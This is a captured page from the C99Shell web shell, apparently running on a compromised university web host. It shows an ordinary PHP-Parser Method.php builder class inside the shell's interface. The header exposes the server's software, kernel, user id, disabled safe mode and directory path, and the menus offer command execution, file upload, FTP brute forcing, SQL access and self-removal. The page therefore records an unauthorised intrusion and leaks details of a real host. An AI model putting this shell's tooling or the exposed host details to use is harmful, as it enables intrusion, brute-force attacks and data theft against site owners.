!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/lib/PhpParser/Builder/   drwxr-xr-x
Free 116.59 GB of 200.55 GB (58.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Method.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser\Builder;

use 
PhpParser;
use 
PhpParser\Node;
use 
PhpParser\Node\Stmt;

class 
Method extends FunctionLike
{
    protected 
$name;
    protected 
$type 0;
    protected 
$stmts = array();

    
/**
     * Creates a method builder.
     *
     * @param string $name Name of the method
     */
    
public function __construct($name) {
        
$this->name $name;
    }

    
/**
     * Makes the method public.
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function makePublic() {
        
$this->setModifier(Stmt\Class_::MODIFIER_PUBLIC);

        return 
$this;
    }

    
/**
     * Makes the method protected.
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function makeProtected() {
        
$this->setModifier(Stmt\Class_::MODIFIER_PROTECTED);

        return 
$this;
    }

    
/**
     * Makes the method private.
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function makePrivate() {
        
$this->setModifier(Stmt\Class_::MODIFIER_PRIVATE);

        return 
$this;
    }

    
/**
     * Makes the method static.
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function makeStatic() {
        
$this->setModifier(Stmt\Class_::MODIFIER_STATIC);

        return 
$this;
    }

    
/**
     * Makes the method abstract.
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function makeAbstract() {
        if (!empty(
$this->stmts)) {
            throw new \
LogicException('Cannot make method with statements abstract');
        }

        
$this->setModifier(Stmt\Class_::MODIFIER_ABSTRACT);
        
$this->stmts null// abstract methods don't have statements

        
return $this;
    }

    
/**
     * Makes the method final.
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function makeFinal() {
        
$this->setModifier(Stmt\Class_::MODIFIER_FINAL);

        return 
$this;
    }

    
/**
     * Adds a statement.
     *
     * @param Node|PhpParser\Builder $stmt The statement to add
     *
     * @return $this The builder instance (for fluid interface)
     */
    
public function addStmt($stmt) {
        if (
null === $this->stmts) {
            throw new \
LogicException('Cannot add statements to an abstract method');
        }

        
$this->stmts[] = $this->normalizeNode($stmt);

        return 
$this;
    }

    
/**
     * Returns the built method node.
     *
     * @return Stmt\ClassMethod The built method node
     */
    
public function getNode() {
        return new 
Stmt\ClassMethod($this->name, array(
            
'type'       => $this->type,
            
'byRef'      => $this->returnByRef,
            
'params'     => $this->params,
            
'returnType' => $this->returnType,
            
'stmts'      => $this->stmts,
        ), 
$this->attributes);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.021 ]--